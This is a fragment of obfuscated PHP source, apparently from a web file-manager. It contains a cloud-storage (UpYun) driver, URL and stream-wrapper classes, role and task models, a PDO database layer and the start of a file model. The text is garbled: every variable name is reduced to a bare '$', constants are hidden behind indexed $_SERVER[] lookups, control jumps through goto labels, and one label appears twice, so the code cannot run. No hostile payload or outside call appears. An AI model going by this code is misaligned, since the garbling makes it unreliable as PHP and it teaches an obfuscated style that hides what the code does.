self::$_methodListStatic[$] = $; } } goto a; D: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "http://v0.api.upyun.com"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1562] . LNG($[1482])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "GET") { $ =& $_SERVER[]; $ = gmdate($[1511]); $ = base64_encode(hash_hmac($[1563], "{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ = array("Authorization:UPYUN {$this->username}:{$}", "Date:{$}"); return $; } public function ussRequest($, $ = "GET", $ = false, $ = false, $ = false) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = "/{$this->bucket}/" . rawurlencode($); $ = $this->ussHeaders($, $); if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $, $, $, $, $); if (!$) { $ = LNG($[1564]); $this->writeLog($); return array($[1313] => !1, $[1303] => $); } if (strtolower($) == $[230] || in_array($[$[1313]], array($[264], $[1565]))) { $ = $[$[1566]]; if (!$[$[840]]) { $ = isset($[0]) ? $[0] : $[12]; } } else { $ = json_decode($[$[1303]], !0); if (!$) { $ = $[$[1303]]; } else { if (!$[$[840]] && isset($[$[1567]])) { $ = $[$[1567]]; } } } if (!$[$[840]]) { $this->writeLog($this->__errorMessage($)); } return array($[1313] => $[$[840]], $[1303] => $); } private function __errorMessage($) { $ =& $_SERVER[]; if (!$) { return $[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $[1520]) { return $; } $ = array($[1568] => $[1569], $[1570] => $[1571], $[1572] => $[1571], $[1573] => $[1574], $[1575] => $[1576], $[1577] => $[1578], $[1579] => $[1580]); return isset($[$]) ? $[$] : $; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = array($[1581]); $ = $this->ussRequest($, $[291], !1, $); return $[$[1313]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $ = array($[1582] . "/{$this->bucket}/{$}", $[1583]); $ = $this->ussRequest($, $[256], !1, $); return $[$[1313]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $ = array($[1584] . "/{$this->bucket}/{$}", $[1583]); $ = $this->ussRequest($, $[256], !1, $); return $[$[1313]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussRequest($, $[1585]); return $[$[1313]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$[32]], $[1585]); if (!$[$[1313]]) { return !1; } } usort($, function ($, $) { $ =& $_SERVER[]; return substr_count($, $[8]) - substr_count($, $[8]); }); foreach ($ as $) { $ = $this->ussRequest($, $[1585]); if (!$[$[1313]]) { return !1; } } $ = $this->ussRequest($, $[1585]); return $[$[1313]]; } public function rename($, $) { if ($this->isFile($)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[233], $[79] => isset($[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[234]] = intval($[$[1586]]); $[$[88]] = intval($[$[1587]]); $[$[79]] = $[$[79]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[234]] = intval($[$[1586]]); $[$[88]] = intval($[$[1587]]); return $; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $ = array($[1588], $[1589] . $); if ($) { $[] = $[1590] . $; } $ = $this->ussRequest($, $[1513], !1, $); return !$[$[1313]] ? !1 : $[$[1303]]; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1591]]) ? $[$[1591]] : $[12]; $ = isset($[$[1592]]) ? $[$[1592]] : array(); foreach ($ as $) { $ = $[$[33]] == $[78] ? !0 : !1; $ = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $ ? $[78] : $[233], $[79] => $[$[424]], $[1587] => $[$[1593]]); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $, $); } return array($[85] => $, $[86] => $); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $[12]; $ = 500; $ = 0; $ = 0; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1591]]) ? $[$[1591]] : $[12]; $ = isset($[$[1592]]) ? $[$[1592]] : array(); if (empty($)) { break; } $ = array_filter($, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $ = count($); $ = count($); $ = $ - $; if ($) { $ += $; $ += $; if ($ < $) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($ < $) { break; } } if ($) { return array($[242] => $, $[243] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; if (!$) { $ = $this->ussRequest($, $[291]); return $[$[1313]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1552] . $ . $[474] . $); } $ = url_request($, $[1513], !1, $); return $[$[840]] ? $[$[1303]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array($[1594] . $); $ = $this->ussRequest($, $[256], $); return $[$[1313]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ = array($[1595], $[1596] . $, $[1597], $[1598] . $); $ = $this->ussRequest($, $[256], !1, $); if (!$[$[1313]]) { return !1; } $ = $[$[1303]]; $ = 0; $ = $[$[1599]]; $ = fopen($, $[1476]); if (!$) { return !1; } do { $ = $[$[1600]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $ = $this->uploadPart($, $, $); } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$[1599]]; $ += $; } while ($ != -1); fclose($); $ = array($[1601], $[1602] . $[$[1603]], $[1597]); $ = $this->ussRequest($, $[256], !1, $); return $[$[1313]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $, &$) { $ =& $_SERVER[]; $ = array($[1604], $[1602] . $[$[1603]], $[1605] . $[$[1599]], $[146] . $[$[1600]]); $ = $this->ussRequest($, $[256], $, $); return !$[$[1313]] ? $[$[1313]] : $[$[1303]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function uploadMultiData($, $ = 3600) { $ =& $_SERVER[]; $ = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPolicy($, $, $); } private function uploadPolicy($, $ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $[8] . $this->bucket; $ = gmdate($[1511]); $ = array($[1606] => $this->bucket, $[1607] => $, $[1608] => time() + $, $[1609] => $); if ($) { $[$[1496]] = $; } $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[1563], "POST&{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ = array($[280] => $, $[1610] => "UPYUN {$this->username}:{$}", $[209] => $this->endpoint . $); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1558]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; $ = trim($, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1611])); $ = substr(md5($this->token . $[287] . $ . $[1612] . $), 12, 8) . $; $[] = $[1613] . $; } $ = !empty($) ? $[76] . implode($[287], $) : $[12]; return $this->getHost() . $[8] . $this->pathEncode($) . $; } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? array($_SERVER[][1614] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1615] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->_objectMeta($); return isset($[$[248]]) ? $[$[248]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][180], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][182], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1616]); if (!$[$[1313]]) { return null; } $ = isset($[$[1303]]) ? $[$[1303]] : array(); if (!isset($[$[1617]])) { return null; } $ = array($[33] => isset($[$[1617]]) ? $[$[1617]] : null, $[79] => isset($[$[1618]]) ? $[$[1618]] : null, $[248] => isset($[$[1619]]) ? $[$[1619]] : null, $[1586] => isset($[$[1620]]) ? $[$[1620]] : null); $[$[1587]] = isset($[$[1621]]) ? strtotime($[$[1621]]) : $[$[1586]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[][235]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][235]]; } public function isFolder($) { return !1; } public function size($) { $ = $this->info($); return $[$_SERVER[][79]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$[840]]) { return !1; } $ = _get($, $[424], 0); $ = array($[32] => $[$[32]], $[87] => $, $[33] => $[233], $[79] => intval($), $[169] => get_path_ext($[$[32]]), $[1473] => $ > 0 && $[$[1622]], $[1474] => !1); return $; } private function header($) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1623]]) ? $GLOBALS[$[1623]] : !1; $GLOBALS[$[1623]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1623]] = $; return self::$_cacheHeader[$]; } public function hashSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[235]]) { return !1; } $ = $[$[79]]; $ = 200; $ = 50; if ($ <= $ * $) { return md5($this->fileSubstr($, 0, $)) . $; } $ = intval($ / $); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ < $; $++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($, $ * $, $); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $ = -1) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[235]] && $[$[79]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$[79]]; } if ($ == 0) { return $[12]; } $ = array($[1624] . $ . $[877] . ($ + $ - 1)); $ = url_request($, $[1513], !1, $, !1, !1, 30); return $[$[1303]] ? $[$[1303]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[79]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[79]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[]; $ = $this->info($); return array($[1416] => 0, $[1625] => 0, $[16] => 32768 + 511, $[1626] => 0, $[1627] => 0, $[1628] => 0, $[1629] => 0, $[79] => $[$[79]], $[1630] => $[$[1472]], $[1587] => $[$[88]], $[1586] => $[$[234]], $[1631] => 0, $[1632] => 0); } static $fileInfo = array(); public function info($) { $ = $_SERVER[][1633]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } public static function _read($, $, $) { $ =& $_SERVER[]; $ = fopen($, $[1476]); if (!$) { return $[12]; } $ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $ = min($, $ - $); $ .= fread($, $); $ += $; } fclose($); return $; } public function fileSubstr($, $) { $ =& $_SERVER[]; $ = $this->info[$[79]]; $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("ioFileRead error! start={$};length={$}; size={$};"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if ($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($, $ - $, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1634], $[1635] . count($) . ";start={$},length={$};pose:{$}~{$}"); throw new Exception($[1636]); } $ = intval($ / $) * $; $ = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr($this->path, $, $); $[$ . $[12]] = $; ksort($); $ = substr($, $ - $, $); return $; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1637], $, $this->info[$[32]], $, $), $[1280]); } } goto A; a: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "System.roleList"; public $field = array("name", "auth", "label", "display", "system", "desc", "ignoreExt", "ignoreFileSize", "administrator", "sort"); public function listData($ = false, $ = "sort", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if (!$) { foreach ($ as $ => $) { if ($[$[2203]] == 1) { $[$][$[538]] = LNG($[2478]); } } } return $; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } if ($[$[2203]] == 1) { $ = array($[32] => $[$[32]], $[2015] => $[$[2015]]); } $this->filterAuth($[$[499]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][192]]) { return !1; } return parent::remove($); } public function add($) { $ =& $_SERVER[]; $ = $[$[32]]; if ($this->findByName($)) { return !1; } $ = array($[506] => $, $[1998] => $[12], $[1994] => $[2002], $[2479] => 1, $[1997] => 0, $[2480] => 0, $[1996] => $this->getSort()); $ = array_merge($, $); $this->filterAuth($[$[499]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[]; $ = array(); $ = array_filter(explode($[50], $)); foreach ($ as $) { $ = explode($[10], $); if ($[0] == $[2481] && $[1] != $[1291]) { $ = $[0] . $[10] . $[1] . $[2482]; if (!in_array($, $)) { $[] = $; } } $[] = $; } $ = implode($[50], $); } public function findRoleDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$[2014]] == $[231] || $[$[2203]] == 1) { continue; } if (strstr($[$[499]], $[2483])) { continue; } if (!strstr($[$[499]], $[2484])) { continue; } if (!$) { $ = $; continue; } $ = explode($[50], $[$[499]]); $ = explode($[50], $[$[499]]); if (count($) > count($)) { $ = $; } } return $ ? $[$[487]] : $[12]; } public function sort($, $) { return parent::update($, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "System.taskList"; public $field = array("name", "type", "event", "time", "desc", "system", "enable", "lastRun", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = $this->findByName($[$[32]]); if ($) { return !1; } $[$[1741]] = 0; $[$[2016]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($, $); } public function remove($, $ = false) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return; } if (!$ && $[$[192]] == $[91]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2473] => $)); } public function run($) { return $this->update($, array($_SERVER[][2485] => time())); } } goto d; C: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[1007])) { think_exception(think_lang($[14]) . $[1008]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[1009]], $[$[981]], $[$[982]], $[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[1009]]); if (in_array($this->dbType, array($[1010], $[1011], $[1012], $[1013]))) { think_exception($[1014] . $this->dbType . $[1015] . $this->dbType . $[1016]); } if (!$this->linkID[$]) { think_exception($[1017]); } try { $this->linkID[$]->exec($[1018] . think_config($[984])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[1019] . print_r($, !0) . $[1020]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[1019] . print_r($, !0) . $[1020]; } $ = !1; if ($this->dbType == $[1013]) { if (preg_match($[1021], $this->queryStr, $)) { $this->table = think_config($[1022]) . str_ireplace(think_config($[1023]), $[466], $[2]); $ = (bool) $this->query($[1024] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[1025], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[1026])) { $ = str_replace($[1027], $, think_config($[1026])); } else { switch ($this->dbType) { case $[1010]: case $[1028]: $ = "SELECT   column_name as 'Name',   data_type as 'Type',   column_default as 'Default',   is_nullable as 'Null'\xa\x9	FROM	information_schema.tables AS t
		JOIN	information_schema.columns AS c
	\x9ON  t.table_catalog = c.table_catalog\xa		AND t.table_schema = c.table_schema
\x9\x9AND t.table_name = c.table_name
	\x9WHERE   t.table_name = '{$}'"; break; case $[1029]: $ = $[1030] . $ . $[1031]; break; case $[1011]: case $[1013]: $ = $[1032] . $[1033] . $[1034] . strtoupper($) . $[1035] . strtoupper($) . $[1036]; break; case $[1037]: $ = $[1038] . $ . $[1039]; break; case $[1012]: break; case $[1040]: default: $ = $[1041] . ($this->dbType == $[1040] ? "`{$}`" : $); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[466]; $[$[33]] = isset($[$[33]]) ? $[$[33]] : $[466]; $ = isset($[$[362]]) ? $[$[362]] : $[$[32]]; $[$] = array($[32] => $, $[33] => $[$[33]], $[35] => (bool) (isset($[$[106]]) && $[$[106]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[466]), $[39] => isset($[$[97]]) ? strtolower($[$[97]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$[1042]]) ? strtolower($[$[1042]]) == $[44] : (isset($[$[97]]) ? $[$[97]] : !1)); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[1043])) { $ = str_replace($[1044], $, think_config($[1043])); } else { switch ($this->dbType) { case $[1011]: case $[1013]: $ = $[1045]; break; case $[1010]: case $[1028]: $ = $[1046]; break; case $[1037]: $ = $[1047]; break; case $[1012]: think_exception(think_lang($[1048]) . $[1049]); break; case $[1029]: $ = $[45] . $[46] . $[47]; break; case $[1040]: default: if (!empty($)) { $ = $[992] . $ . $[993]; } else { $ = $[994]; } } } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[1037]: case $[1029]: $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } break; case $[1010]: case $[1028]: break; case $[1012]: break; case $[1011]: case $[1013]: break; case $[1040]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[1040]) { if ($ != $[223] && !preg_match($[1004], $)) { $ = $[473] . trim($, $[473]) . $[473]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; switch ($this->dbType) { case $[1037]: case $[1010]: case $[1028]: case $[1040]: return addslashes($); case $[1012]: case $[1029]: case $[1011]: case $[1013]: return str_ireplace($[58], $[59], $); } } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[1050] . $this->escapeString($) . $[1050]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[384]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1051]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[231]; } elseif (is_null($)) { $ = $[106]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[1037]: case $[1029]: case $[1010]: case $[1028]: case $[1012]: case $[1040]: return $this->_linkID->lastInsertId(); case $[1011]: case $[1013]: $ = $this->table; $ = $this->query("SELECT {$}.currval currval FROM dual"); return $ ? $[0][$[1052]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } goto c; C: class FileModel extends ModelBase { protected $tableName = "io_file"; protected $tableMeta = array("tableName" => "io_file_meta", "metaField" => "fileID"); public function fileInfo($) { $ =& $_SERVER[]; static $ = array(); if (!isset($[$])) { $ = $[2042]; $ = Model($[558])->field($)->where(array($[556] => $))->find(); $[$] = $; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[]; $ = TEMP_PATH . $[2043]; if (!is_dir($)) { mk_dir($); } $ = $ . $[2044] . rand_string(16); $ = file_put_contents($, $); if ($ === !1 || strlen($) != $) { return !1; } $ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($, $ = false, $ = false) { $ =& $_SERVER[]; $ = IO::init($[8]); $ = $this->makeFilePath($, $, $, $); $ = $->pathFather($); static $ = false; $ = $[2045] . md5($); if (!$ && !Cache::get($)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . $[889])) { IO::mkfile($ . $[889]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($, $, $ = false, $ = false) { $ =& $_SERVER[]; $ = Model($[860])->get($[2046]); $ = KodIO::defaultIO() . date($[2047]); $ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $ = $->ext($); if (!$) { $ = $[866]; } switch ($) { case $[2048]: if ($) { $ = $ . $[10] . $; } if ($ == 